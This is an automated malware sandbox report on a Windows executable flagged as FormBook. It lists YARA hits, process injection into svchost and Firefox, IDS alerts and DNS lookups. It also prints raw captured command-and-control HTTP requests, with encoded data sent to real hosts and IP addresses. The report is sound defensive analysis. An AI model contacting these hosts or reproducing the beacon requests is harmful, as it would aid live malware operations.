Windows Analysis Report
w64HYOhfv1.exe

AI detected suspicious sample

Source: Yara match	File source: 1.2.svchost.exe.2660000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.svchost.exe.2660000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.1964041630.0000000002ED0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1963743549.0000000002660000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4129418415.0000000000AD0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4129085858.0000000000520000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4130342799.0000000000C20000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4130314463.0000000002680000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1964459528.0000000003600000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: w64HYOhfv1.exe

Joe Sandbox ML: detected

Source: w64HYOhfv1.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source:	Binary string: RmClient.pdbGCTL source: svchost.exe, 00000001.00000002.1963873677.0000000002A12000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1963858433.0000000002A00000.00000004.00000020.00020000.00000000.sdmp, ifhdPMDeORMlb.exe, 00000003.00000002.4129554800.00000000009C8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: ifhdPMDeORMlb.exe, 00000003.00000000.1867261425.0000000000BEE000.00000002.00000001.01000000.00000005.sdmp, ifhdPMDeORMlb.exe, 00000007.00000000.2033224305.0000000000BEE000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: wntdll.pdbUGP source: svchost.exe, 00000001.00000002.1964073483.000000000319E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1964073483.0000000003000000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1847224890.0000000002E00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1844685675.0000000002C00000.00000004.00000020.00020000.00000000.sdmp, RmClient.exe, 00000006.00000002.4130603764.000000000318E000.00000040.00001000.00020000.00000000.sdmp, RmClient.exe, 00000006.00000002.4130603764.0000000002FF0000.00000040.00001000.00020000.00000000.sdmp, RmClient.exe, 00000006.00000003.1965904772.0000000002E49000.00000004.00000020.00020000.00000000.sdmp, RmClient.exe, 00000006.00000003.1964009179.0000000000C2E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: svchost.exe, svchost.exe, 00000001.00000002.1964073483.000000000319E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1964073483.0000000003000000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1847224890.0000000002E00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1844685675.0000000002C00000.00000004.00000020.00020000.00000000.sdmp, RmClient.exe, RmClient.exe, 00000006.00000002.4130603764.000000000318E000.00000040.00001000.00020000.00000000.sdmp, RmClient.exe, 00000006.00000002.4130603764.0000000002FF0000.00000040.00001000.00020000.00000000.sdmp, RmClient.exe, 00000006.00000003.1965904772.0000000002E49000.00000004.00000020.00020000.00000000.sdmp, RmClient.exe, 00000006.00000003.1964009179.0000000000C2E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: RmClient.exe, 00000006.00000002.4131092895.000000000361C000.00000004.10000000.00040000.00000000.sdmp, RmClient.exe, 00000006.00000002.4129491056.0000000000B2D000.00000004.00000020.00020000.00000000.sdmp, ifhdPMDeORMlb.exe, 00000007.00000002.4130492087.0000000002BEC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2262378691.000000003BD2C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: RmClient.exe, 00000006.00000002.4131092895.000000000361C000.00000004.10000000.00040000.00000000.sdmp, RmClient.exe, 00000006.00000002.4129491056.0000000000B2D000.00000004.00000020.00020000.00000000.sdmp, ifhdPMDeORMlb.exe, 00000007.00000002.4130492087.0000000002BEC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2262378691.000000003BD2C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: RmClient.pdb source: svchost.exe, 00000001.00000002.1963873677.0000000002A12000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1963858433.0000000002A00000.00000004.00000020.00020000.00000000.sdmp, ifhdPMDeORMlb.exe, 00000003.00000002.4129554800.00000000009C8000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Windows\SysWOW64\RmClient.exe

Code function: 6_2_0053C280 FindFirstFileW,FindNextFileW,FindClose,

6_2_0053C280

Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 4x nop then xor eax, eax	6_2_00529A00
Source: C:\Windows\SysWOW64\RmClient.exe	Code function: 4x nop then mov ebx, 00000004h	6_2_00D104E1
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Code function: 4x nop then mov ebx, 00000004h	8_2_00000247FBAEC4E1

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49355 -> 206.119.82.134:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:49352 -> 44.213.25.70:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:49390 -> 206.119.82.134:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49352 -> 44.213.25.70:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49454 -> 67.223.117.189:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49390 -> 206.119.82.134:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49437 -> 67.223.117.189:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49367 -> 206.119.82.134:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:49470 -> 67.223.117.189:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49470 -> 67.223.117.189:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49553 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49377 -> 206.119.82.134:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:49593 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49593 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49631 -> 183.181.83.131:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49637 -> 38.47.232.196:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49640 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49634 -> 183.181.83.131:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:49643 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49645 -> 154.212.219.2:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49636 -> 38.47.232.196:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49638 -> 38.47.232.196:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49643 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49644 -> 154.212.219.2:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49650 -> 133.130.35.90:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49646 -> 154.212.219.2:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:49659 -> 172.191.244.62:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49659 -> 172.191.244.62:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49661 -> 162.241.244.106:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49641 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49657 -> 172.191.244.62:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:49655 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49658 -> 172.191.244.62:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49655 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49633 -> 183.181.83.131:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49652 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49642 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:49674 -> 199.59.243.227:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49674 -> 199.59.243.227:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:49635 -> 183.181.83.131:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49635 -> 183.181.83.131:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:49647 -> 154.212.219.2:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49647 -> 154.212.219.2:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49649 -> 133.130.35.90:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:49639 -> 38.47.232.196:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49639 -> 38.47.232.196:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:49651 -> 133.130.35.90:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49651 -> 133.130.35.90:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49672 -> 199.59.243.227:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49656 -> 172.191.244.62:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49654 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49648 -> 133.130.35.90:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49423 -> 67.223.117.189:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49662 -> 162.241.244.106:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49673 -> 199.59.243.227:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49653 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49671 -> 199.59.243.227:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49660 -> 162.241.244.106:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49579 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49563 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:49663 -> 162.241.244.106:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49663 -> 162.241.244.106:80

Performs DNS queries to domains with low reputation

Source:	DNS query: www.uburn.xyz
Source:	DNS query: www.nakama2-sshl.xyz
Source:	DNS query: www.lurknlarkk.xyz

Source: Joe Sandbox View	IP Address: 172.191.244.62 172.191.244.62
Source: Joe Sandbox View	IP Address: 67.223.117.189 67.223.117.189

Source: Joe Sandbox View	ASN Name: ATT-INTERNET4US ATT-INTERNET4US
Source: Joe Sandbox View	ASN Name: VIMRO-AS15189US VIMRO-AS15189US
Source: Joe Sandbox View	ASN Name: COMING-ASABCDEGROUPCOMPANYLIMITEDHK COMING-ASABCDEGROUPCOMPANYLIMITEDHK
Source: Joe Sandbox View	ASN Name: AMAZON-AESUS AMAZON-AESUS

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /7mju/?rf-LZ=JlCtuN3HqPO8C&AHkx=n/a1XNlERIMSMkzd8Qa3NcaSwh7bqsusoFUi8ENskqLMFqSk/Fj/a6kaQHlAIjdrNEumw+uIAi046Spw4+rc4tgWVH2vgFrx7lu5caWGLmQTjS3LtG8lVAw= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-USHost: www.newdaydawning.netConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko)
Source: global traffic	HTTP traffic detected: GET /l8if/?AHkx=fb3YagVOau/9jH9JrwpuHsbxrllxr9uMjiH+G1UmZCjbhiKuBNxm8T0bbvZrtC77cOtGQaEUv2efn6v6V0IvhyZ1jg35IXHzinqtRNXlFD8GamKybSzcUs8=&rf-LZ=JlCtuN3HqPO8C HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-USHost: www.40wxd.topConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko)
Source: global traffic	HTTP traffic detected: GET /iqqs/?rf-LZ=JlCtuN3HqPO8C&AHkx=f7Pu0FXPylRYdptkWs+23MtWxvoKJz6PgPaD0QQYagT1MtyUkVhu56FZSrYHt1j8AD8LTP1JVeTQ4dQlBUKb4laqx4Tc9G/2Lb24L4CzfFNZpkDBhe90DBs= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-USHost: www.uburn.xyzConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko)
Source: global traffic	HTTP traffic detected: GET /eruc/?AHkx=0pHn1M2gwaL5mql9jSi5Dhpkux55ATuoFGMXu3aa4qZIFhIZTp589V8RrAObS8se+RyZmJdkVQw9waSFdfaJQA9rTbpXDGB78xWioGNWodRvKelboLn2zrA=&rf-LZ=JlCtuN3HqPO8C HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-USHost: www.o731lh.vipConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko)
Source: global traffic	HTTP traffic detected: GET /ui3j/?AHkx=Ezegw1wupX22aLPnmkEV6IMUn2bdHQLdsNrfcd+vuVznJDvywH1CwnPb30ViPb7vM8PbtSzEB5D6DwhwIFVA+4/F1XwzKY9WGJMvD1hFh5nZW5ehHhRHPVA=&rf-LZ=JlCtuN3HqPO8C HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-USHost: www.nakama2-sshl.xyzConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko)
Source: global traffic	HTTP traffic detected: GET /ak5l/?rf-LZ=JlCtuN3HqPO8C&AHkx=eH+SO6exUc8kNdkvUVCoynUPLpD0oidFnmpLKbW7uuUzt7F+3QY5ZMk8901G8pDK6ZYhQ7vTWV07p9++0dQhJwia7KRoh2N0l2r+oB94KBnVCOyz53vPt1M= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-USHost: www.zz82x.topConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko)
Source: global traffic	HTTP traffic detected: GET /b8ih/?AHkx=Odz4+FoaeIgH5S8C9OYZQc3ouWeZxTDEesAV9dDAx8uax8eIV9nl6gv+Nqhf7GxjMHuq3WRF/H9yecUAbTD83GPUGNWv010JVF29ycwpsNNUnGWJNXrEBFE=&rf-LZ=JlCtuN3HqPO8C HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-USHost: www.tukaari.shopConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko)
Source: global traffic	HTTP traffic detected: GET /6wpo/?AHkx=s9KIkrkzrqTbzkMmh7Bli3B0wEyBHaCwBa6qLgEcFDzVo4ZyZuXCeDvxdW3wzkiXZ/4dwHLmTrOaI9mNhjMAcV+6tVbS2gqGz3F/PYSng2mbFSIjOzq2Kmk=&rf-LZ=JlCtuN3HqPO8C HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-USHost: www.prj81oqde1.buzzConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko)
Source: global traffic	HTTP traffic detected: GET /p9u3/?AHkx=D1Jc/C1nh+BZL85ZeChw3l4+cioj8fKXqdphFMmfowbAWgC+evwb7cYTziaUWePLaVULTAuSiJlrRgQRJK1Ewp0jkjvaZxrb1x+aTR+tBdOAHUHhfEgGmf4=&rf-LZ=JlCtuN3HqPO8C HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-USHost: www.komart.shopConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko)
Source: global traffic	HTTP traffic detected: GET /u6k6/?AHkx=dY5LfBxT8+4OTYgUENZhMVKOyd75/pKzLeRRn9zdsxFld7n68myH2Gd2W2FS03HPt+W/9NATFibZyiY45uryWU5ty+AJNLXNUa+K51k8edVyQTCKjNaYJ5Y=&rf-LZ=JlCtuN3HqPO8C HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-USHost: www.healthyloveforall.netConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko)
Source: global traffic	HTTP traffic detected: GET /jqkr/?AHkx=j99yFPFWu1ukFCAnSMaPoqYJsGaKTyAIw9CibMKFTP9vYaGLd9Ca8ZMxvCgy8ZIQlD5WNv+rF4xM8fWyLzqu+KoA1mYPwgzWoJCMPt1Uicxvw1jTfpaTUc0=&rf-LZ=JlCtuN3HqPO8C HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-USHost: www.lurknlarkk.xyzConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko)
Source: global traffic	HTTP traffic detected: GET /hya5/?rf-LZ=JlCtuN3HqPO8C&AHkx=kBImd3s/QyLjHyq7crISF49n+tt0DF04aEwkxNbGH3XUM96sRoRP4M1J0fvTDuXIyYiaCoNXLmg3Qmdc8wSzVCSMG3zCGblVdbb3qd6x39FLIiPv6fMrlbs= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-USHost: www.mommymode.siteConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko)
Source: global traffic	HTTP traffic detected: GET /nuqv/?AHkx=cqR4daz/40w4b6reEtYQuTL/A0OxFlThnuSAX3LrEIyAZ4914Ww4a7UdeW+JTGwq/HZWal2FK/CEDxgqbNyvw1T8M+Okxh6a/XFlGr4hKR5quINsThV8goc=&rf-LZ=JlCtuN3HqPO8C HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-USHost: www.polarmuseum.infoConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko)

Source: global traffic	DNS traffic detected: DNS query: www.newdaydawning.net
Source: global traffic	DNS traffic detected: DNS query: www.40wxd.top
Source: global traffic	DNS traffic detected: DNS query: www.uburn.xyz
Source: global traffic	DNS traffic detected: DNS query: www.i16zb920d.cfd
Source: global traffic	DNS traffic detected: DNS query: www.o731lh.vip
Source: global traffic	DNS traffic detected: DNS query: www.nakama2-sshl.xyz
Source: global traffic	DNS traffic detected: DNS query: www.zz82x.top
Source: global traffic	DNS traffic detected: DNS query: www.tukaari.shop
Source: global traffic	DNS traffic detected: DNS query: www.prj81oqde1.buzz
Source: global traffic	DNS traffic detected: DNS query: www.komart.shop
Source: global traffic	DNS traffic detected: DNS query: www.healthyloveforall.net
Source: global traffic	DNS traffic detected: DNS query: www.lurknlarkk.xyz
Source: global traffic	DNS traffic detected: DNS query: www.mommymode.site
Source: global traffic	DNS traffic detected: DNS query: www.polarmuseum.info
Source: global traffic	DNS traffic detected: DNS query: www

Source: unknown

HTTP traffic detected: POST /l8if/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-USAccept-Encoding: gzip, deflateHost: www.40wxd.topOrigin: http://www.40wxd.topConnection: closeCache-Control: max-age=0Content-Type: application/x-www-form-urlencodedContent-Length: 201Referer: http://www.40wxd.top/l8if/User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko)Data Raw: 41 48 6b 78 3d 53 5a 66 34 5a 58 5a 4c 52 75 44 38 6c 6b 56 43 71 6d 35 35 46 72 69 71 72 56 46 41 7a 6f 4c 6d 36 53 4f 4e 47 79 4d 77 54 52 53 30 69 44 4b 63 52 4b 56 6d 30 6c 49 4c 44 50 4d 46 6f 47 2f 33 64 71 4e 7a 52 4e 56 74 70 42 4b 45 6d 37 72 47 62 67 34 34 6e 32 52 53 6f 68 54 30 58 46 4f 77 71 44 6a 6f 54 65 72 65 4e 51 39 5a 63 41 6e 41 62 44 58 45 63 59 2f 46 52 6f 6d 68 72 63 4d 46 33 74 58 31 76 74 55 6d 52 4a 52 52 69 63 2f 69 69 59 32 42 34 62 4c 66 6f 71 38 54 78 5a 56 6d 33 65 68 72 35 77 39 31 46 5a 75 6b 70 45 30 31 65 59 72 46 79 50 31 58 56 68 43 51 64 5a 32 50 35 67 3d 3d Data Ascii: AHkx=SZf4ZXZLRuD8lkVCqm55FriqrVFAzoLm6SONGyMwTRS0iDKcRKVm0lILDPMFoG/3dqNzRNVtpBKEm7rGbg44n2RSohT0XFOwqDjoTereNQ9ZcAnAbDXEcY/FRomhrcMF3tX1vtUmRJRRic/iiY2B4bLfoq8TxZVm3ehr5w91FZukpE01eYrFyP1XVhCQdZ2P5g==

